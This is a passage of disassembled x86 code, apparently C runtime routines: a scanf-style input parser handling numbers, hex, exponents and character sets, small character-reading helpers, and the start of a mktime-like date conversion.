		cmp	ebx, 2Dh
		jnz	loc_4170B0
		mov	[ebp+var_17], 1
		jmp	loc_4170B5
; ---------------------------------------------------------------------------


loc_416E3B:				; CODE XREF: sub_416BDD+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_416E57
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_416E5C
; ---------------------------------------------------------------------------


loc_416E57:				; CODE XREF: sub_416BDD+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_416E73


loc_416E5C:				; CODE XREF: sub_416BDD+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_416E76
; ---------------------------------------------------------------------------


loc_416E73:				; CODE XREF: sub_416BDD+27Dj
		mov	edi, [ebp+arg_0]


loc_416E76:				; CODE XREF: sub_416BDD+294j
		cmp	[ebp+var_20], 0
		jz	short loc_416E85
		cmp	[ebp+var_C], 15Dh
		jle	short loc_416E8C


loc_416E85:				; CODE XREF: sub_416BDD+29Dj
		mov	[ebp+var_C], 15Dh


loc_416E8C:				; CODE XREF: sub_416BDD+2A6j
					; sub_416BDD+2F2j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416EA1
		push	4
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416EAC
; ---------------------------------------------------------------------------


loc_416EA1:				; CODE XREF: sub_416BDD+2B6j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_416EAC:				; CODE XREF: sub_416BDD+2C2j
		test	eax, eax
		jz	short loc_416ED1
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_416ED1
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_416E8C
; ---------------------------------------------------------------------------


loc_416ED1:				; CODE XREF: sub_416BDD+2D1j
					; sub_416BDD+2DBj
		cmp	ds:byte_42FA80,	bl
		jnz	short loc_416F3F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_416F3F
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		mov	al, ds:byte_42FA80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_416EFA:				; CODE XREF: sub_416BDD+360j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416F0F
		push	4
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416F1A
; ---------------------------------------------------------------------------


loc_416F0F:				; CODE XREF: sub_416BDD+324j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_416F1A:				; CODE XREF: sub_416BDD+330j
		test	eax, eax
		jz	short loc_416F3F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_416F3F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_416EFA
; ---------------------------------------------------------------------------


loc_416F3F:				; CODE XREF: sub_416BDD+2FAj
					; sub_416BDD+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_416FD7
		cmp	ebx, 65h
		jz	short loc_416F57
		cmp	ebx, 45h
		jnz	loc_416FD7


loc_416F57:				; CODE XREF: sub_416BDD+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_416FD7
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_416F7E
		mov	[esi], al
		inc	esi
		jmp	short loc_416F83
; ---------------------------------------------------------------------------


loc_416F7E:				; CODE XREF: sub_416BDD+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_416FA1


loc_416F83:				; CODE XREF: sub_416BDD+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_416F92
		and	[ebp+var_C], eax
		jmp	short loc_416FA1
; ---------------------------------------------------------------------------


loc_416F92:				; CODE XREF: sub_416BDD+3AEj
					; sub_416BDD+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_416FA1:				; CODE XREF: sub_416BDD+3A4j
					; sub_416BDD+3B3j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416FB6
		push	4
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416FC1
; ---------------------------------------------------------------------------


loc_416FB6:				; CODE XREF: sub_416BDD+3CBj
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_416FC1:				; CODE XREF: sub_416BDD+3D7j
		test	eax, eax
		jz	short loc_416FD7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_416FD7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_416F92
; ---------------------------------------------------------------------------


loc_416FD7:				; CODE XREF: sub_416BDD+366j
					; sub_416BDD+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_417653
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4175E3
		cmp	[ebp+var_E], 0
		jnz	loc_417544
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_42FBB0
		add	esp, 0Ch
		jmp	loc_417544
; ---------------------------------------------------------------------------


loc_41701B:				; CODE XREF: sub_416BDD+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41702A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41702A:				; CODE XREF: sub_416BDD+441j
		cmp	[ebp+var_5], 0
		jle	short loc_417034
		mov	[ebp+var_16], 1


loc_417034:				; CODE XREF: sub_416BDD+451j
		mov	edi, offset dword_42FBE0
		jmp	loc_417149
; ---------------------------------------------------------------------------


loc_41703E:				; CODE XREF: sub_416BDD+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4172EC
		sub	eax, 3
		jz	loc_41713A
		dec	eax
		dec	eax
		jz	loc_4172F0
		sub	eax, 3
		jz	loc_416E26
		sub	eax, 3
		jz	short loc_41708C


loc_417068:				; CODE XREF: sub_416BDD+21Bj
					; sub_416BDD+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_4175B3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_417544
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_417544
; ---------------------------------------------------------------------------


loc_41708C:				; CODE XREF: sub_416BDD+489j
		cmp	[ebp+var_5], 0
		jle	short loc_417096
		mov	[ebp+var_16], 1


loc_417096:				; CODE XREF: sub_416BDD+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41714D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_417149
; ---------------------------------------------------------------------------


loc_4170B0:				; CODE XREF: sub_416BDD+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4170D7


loc_4170B5:				; CODE XREF: sub_416BDD+259j
		dec	[ebp+var_C]
		jnz	short loc_4170C6
		cmp	[ebp+var_20], 0
		jz	short loc_4170C6
		mov	[ebp+var_F], 1
		jmp	short loc_4170D7
; ---------------------------------------------------------------------------


loc_4170C6:				; CODE XREF: sub_416BDD+4DBj
					; sub_416BDD+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4170D7:				; CODE XREF: sub_416BDD+4D6j
					; sub_416BDD+4E7j
		cmp	ebx, 30h
		jnz	loc_417325
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_417125
		cmp	bl, 58h
		jz	short loc_417125
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41710F
		push	6Fh


loc_417109:				; CODE XREF: sub_416BDD+55Bj
		pop	esi
		jmp	loc_417325
; ---------------------------------------------------------------------------


loc_41710F:				; CODE XREF: sub_416BDD+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_417653
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_417322
; ---------------------------------------------------------------------------


loc_417125:				; CODE XREF: sub_416BDD+517j
					; sub_416BDD+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_417109
; ---------------------------------------------------------------------------


loc_41713A:				; CODE XREF: sub_416BDD+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_417144
		mov	[ebp+var_16], 1


loc_417144:				; CODE XREF: sub_416BDD+561j
		mov	edi, offset dword_42FBD8


loc_417149:				; CODE XREF: sub_416BDD+45Cj
					; sub_416BDD+4CEj
		or	[ebp+var_18], 0FFh


loc_41714D:				; CODE XREF: sub_416BDD+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_417171
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_417171
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_417174
; ---------------------------------------------------------------------------


loc_417171:				; CODE XREF: sub_416BDD+584j
					; sub_416BDD+589j
		mov	dl, [ebp+var_35]


loc_417174:				; CODE XREF: sub_416BDD+592j
					; sub_416BDD+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4171D9
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4171C0
		test	dl, dl
		jz	short loc_4171C0
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4171C0
		inc	edi
		cmp	dl, cl
		jnb	short loc_417193
		mov	al, cl
		jmp	short loc_417197
; ---------------------------------------------------------------------------


loc_417193:				; CODE XREF: sub_416BDD+5B0j
		mov	al, dl
		mov	dl, cl


loc_417197:				; CODE XREF: sub_416BDD+5B4j
		cmp	dl, al
		ja	short loc_4171BC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_4171A4:				; CODE XREF: sub_416BDD+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_4171A4


loc_4171BC:				; CODE XREF: sub_416BDD+5BCj
		xor	dl, dl
		jmp	short loc_417174
; ---------------------------------------------------------------------------


loc_4171C0:				; CODE XREF: sub_416BDD+5A0j
					; sub_416BDD+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_417174
; ---------------------------------------------------------------------------


loc_4171D9:				; CODE XREF: sub_416BDD+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4175E3
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4171EB
		mov	[ebp+arg_4], edi


loc_4171EB:				; CODE XREF: sub_416BDD+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_417653
		pop	ecx
		pop	ecx


loc_417202:				; CODE XREF: sub_416BDD+6BCj
					; sub_416BDD+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_417216
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_4172B2


loc_417216:				; CODE XREF: sub_416BDD+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_4172A6
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_4172A6
		cmp	[ebp+var_E], 0
		jnz	short loc_41729E
		cmp	[ebp+var_16], 0
		jz	short loc_417293
		mov	ecx, ds:off_42F870
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417272
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		pop	ecx
		mov	[ebp+var_37], al


loc_417272:				; CODE XREF: sub_416BDD+686j
		push	ds:dword_42FA7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_419E0B
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_417296
; ---------------------------------------------------------------------------


loc_417293:				; CODE XREF: sub_416BDD+673j
		mov	[esi], al
		inc	esi


loc_417296:				; CODE XREF: sub_416BDD+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_417202
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_416BDD+66Dj
		inc	[ebp+var_30]
		jmp	loc_417202
; ---------------------------------------------------------------------------


loc_4172A6:				; CODE XREF: sub_416BDD+649j
					; sub_416BDD+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_417653
		pop	ecx
		pop	ecx


loc_4172B2:				; CODE XREF: sub_416BDD+633j
		cmp	[ebp+var_30], esi
		jz	loc_4175E3
		cmp	[ebp+var_E], 0
		jnz	loc_417544
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_417544
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4172E4
		and	word ptr [eax],	0
		jmp	loc_417544
; ---------------------------------------------------------------------------


loc_4172E4:				; CODE XREF: sub_416BDD+6FCj
		and	byte ptr [eax],	0
		jmp	loc_417544
; ---------------------------------------------------------------------------


loc_4172EC:				; CODE XREF: sub_416BDD+466j
		mov	[ebp+var_D], 1


loc_4172F0:				; CODE XREF: sub_416BDD+203j
					; sub_416BDD+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4172FE
		mov	[ebp+var_17], 1
		jmp	short loc_417303
; ---------------------------------------------------------------------------


loc_4172FE:				; CODE XREF: sub_416BDD+719j
		cmp	ebx, 2Bh
		jnz	short loc_417325


loc_417303:				; CODE XREF: sub_416BDD+71Fj
		dec	[ebp+var_C]
		jnz	short loc_417314
		cmp	[ebp+var_20], 0
		jz	short loc_417314
		mov	[ebp+var_F], 1
		jmp	short loc_417325
; ---------------------------------------------------------------------------


loc_417314:				; CODE XREF: sub_416BDD+729j
					; sub_416BDD+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		pop	ecx
		mov	ebx, eax


loc_417322:				; CODE XREF: sub_416BDD+543j
		mov	[ebp+var_14], ebx


loc_417325:				; CODE XREF: sub_416BDD+4FDj
					; sub_416BDD+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41743E
		cmp	[ebp+var_F], 0
		jnz	loc_41741C


loc_417339:				; CODE XREF: sub_416BDD+82Cj
		cmp	esi, 78h
		jnz	short loc_41738D
		cmp	ds:dword_42FA7C, 1
		jle	short loc_417356
		push	80h
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_417363
; ---------------------------------------------------------------------------


loc_417356:				; CODE XREF: sub_416BDD+768j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_417363:				; CODE XREF: sub_416BDD+777j
		test	eax, eax
		jz	loc_41740E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_419F00
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_417602
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4173E0
; ---------------------------------------------------------------------------


loc_41738D:				; CODE XREF: sub_416BDD+75Fj
		cmp	ds:dword_42FA7C, 1
		jle	short loc_4173A2
		push	4
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_4173AD
; ---------------------------------------------------------------------------


loc_4173A2:				; CODE XREF: sub_416BDD+7B7j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4173AD:				; CODE XREF: sub_416BDD+7C3j
		test	eax, eax
		jz	short loc_41740E
		cmp	esi, 6Fh
		jnz	short loc_4173CB
		cmp	ebx, 38h
		jge	short loc_41740E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_419F00
		jmp	short loc_4173DA
; ---------------------------------------------------------------------------


loc_4173CB:				; CODE XREF: sub_416BDD+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_411E10


loc_4173DA:				; CODE XREF: sub_416BDD+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4173E0:				; CODE XREF: sub_416BDD+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4173F8
		dec	[ebp+var_C]
		jz	short loc_41741C


loc_4173F8:				; CODE XREF: sub_416BDD+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_417339
; ---------------------------------------------------------------------------


loc_41740E:				; CODE XREF: sub_416BDD+788j
					; sub_416BDD+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_417653
		pop	ecx
		pop	ecx


loc_41741C:				; CODE XREF: sub_416BDD+756j
					; sub_416BDD+819j
		cmp	[ebp+var_17], 0
		jz	loc_417502
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_417502
; ---------------------------------------------------------------------------


loc_41743E:				; CODE XREF: sub_416BDD+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4174FA


loc_417448:				; CODE XREF: sub_416BDD+90Aj
		cmp	esi, 78h
		jz	short loc_41748C
		cmp	esi, 70h
		jz	short loc_41748C
		cmp	ds:dword_42FA7C, 1
		jle	short loc_417467
		push	4
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_417472
; ---------------------------------------------------------------------------


loc_417467:				; CODE XREF: sub_416BDD+87Cj
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_417472:				; CODE XREF: sub_416BDD+888j
		test	eax, eax
		jz	short loc_4174EC
		cmp	esi, 6Fh
		jnz	short loc_417485
		cmp	ebx, 38h
		jge	short loc_4174EC
		shl	edi, 3
		jmp	short loc_4174C4
; ---------------------------------------------------------------------------


loc_417485:				; CODE XREF: sub_416BDD+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4174C4
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_416BDD+86Ej
					; sub_416BDD+873j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_4174A4
		push	80h
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_4174B1
; ---------------------------------------------------------------------------


loc_4174A4:				; CODE XREF: sub_416BDD+8B6j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_4174B1:				; CODE XREF: sub_416BDD+8C5j
		test	eax, eax
		jz	short loc_4174EC
		push	ebx
		shl	edi, 4
		call	sub_417602
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4174C4:				; CODE XREF: sub_416BDD+8A6j
					; sub_416BDD+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4174D6
		dec	[ebp+var_C]
		jz	short loc_4174FA


loc_4174D6:				; CODE XREF: sub_416BDD+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_417448
; ---------------------------------------------------------------------------


loc_4174EC:				; CODE XREF: sub_416BDD+897j
					; sub_416BDD+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_417653
		pop	ecx
		pop	ecx


loc_4174FA:				; CODE XREF: sub_416BDD+865j
					; sub_416BDD+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_417502
		neg	edi


loc_417502:				; CODE XREF: sub_416BDD+843j
					; sub_416BDD+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41750B
		and	[ebp+var_1C], 0


loc_41750B:				; CODE XREF: sub_416BDD+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4175E3
		cmp	[ebp+var_E], 0
		jnz	short loc_417544
		inc	[ebp+var_34]


loc_41751E:				; CODE XREF: sub_416BDD+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_417534
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_417544
; ---------------------------------------------------------------------------


loc_417534:				; CODE XREF: sub_416BDD+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_417541
		mov	[eax], edi
		jmp	short loc_417544
; ---------------------------------------------------------------------------


loc_417541:				; CODE XREF: sub_416BDD+95Ej
		mov	[eax], di


loc_417544:				; CODE XREF: sub_416BDD+241j
					; sub_416BDD+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_417591
; ---------------------------------------------------------------------------


loc_41754F:				; CODE XREF: sub_416BDD+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_4175BE
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417591
		inc	[ebp+var_4]
		push	edi
		call	sub_417639
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4175CC
		dec	[ebp+var_4]


loc_417591:				; CODE XREF: sub_416BDD+970j
					; sub_416BDD+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4175A7
		cmp	byte ptr [esi],	25h
		jnz	short loc_4175E9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4175E9
		mov	esi, eax


loc_4175A7:				; CODE XREF: sub_416BDD+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_416C07
		jmp	short loc_4175E3
; ---------------------------------------------------------------------------


loc_4175B3:				; CODE XREF: sub_416BDD+1F4j
					; sub_416BDD+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4175C3
; ---------------------------------------------------------------------------


loc_4175BE:				; CODE XREF: sub_416BDD+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4175C3:				; CODE XREF: sub_416BDD+9DFj
		call	sub_417653
		pop	ecx
		pop	ecx
		jmp	short loc_4175E3
; ---------------------------------------------------------------------------


loc_4175CC:				; CODE XREF: sub_416BDD+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_417653
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_417653
		add	esp, 10h


loc_4175E3:				; CODE XREF: sub_416BDD+1Fj
					; sub_416BDD+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4175FA


loc_4175E9:				; CODE XREF: sub_416BDD+9BDj
					; sub_416BDD+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4175FD
		cmp	[ebp+var_15], al
		jnz	short loc_4175FD
		or	eax, 0FFFFFFFFh
		jmp	short loc_4175FD
; ---------------------------------------------------------------------------


loc_4175FA:				; CODE XREF: sub_416BDD+A0Aj
		mov	eax, [ebp+var_34]


loc_4175FD:				; CODE XREF: sub_416BDD+A11j
					; sub_416BDD+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417602	proc near		; CODE XREF: sub_416BDD+7A3p
					; sub_416BDD+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_42FA7C, 1
		push	esi
		jle	short loc_41761C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_41762B
; ---------------------------------------------------------------------------


loc_41761C:				; CODE XREF: sub_417602+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_42F870
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41762B:				; CODE XREF: sub_417602+18j
		test	eax, eax
		jnz	short loc_417635
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_417635:				; CODE XREF: sub_417602+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_417602	endp


; =============== S U B	R O U T	I N E =======================================



sub_417639	proc near		; CODE XREF: sub_416BDD+1E1p
					; sub_416BDD+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41764B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41764B:				; CODE XREF: sub_417639+7j
		push	edx
		call	sub_41793B
		pop	ecx
		retn
sub_417639	endp


; =============== S U B	R O U T	I N E =======================================



sub_417653	proc near		; CODE XREF: sub_416BDD+6Bp
					; sub_416BDD+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_417669
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_419F1F
		pop	ecx
		pop	ecx

locret_417669:				; CODE XREF: sub_417653+5j
		retn
sub_417653	endp


; =============== S U B	R O U T	I N E =======================================



sub_41766A	proc near		; CODE XREF: sub_416BDD+63p
					; sub_416BDD+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_417670:				; CODE XREF: sub_41766A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_417639
		mov	edi, eax
		push	edi
		call	sub_419ED3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417670
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41766A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41768E	proc near		; CODE XREF: sub_412D64+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41774A
		cmp	ebx, 8Ah
		jg	loc_41774A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_430304[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4176CD
		cmp	edi, 2
		jle	short loc_4176CD
		inc	esi


loc_4176CD:				; CODE XREF: sub_41768E+37j
					; sub_41768E+3Cj
		call	sub_419F8D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
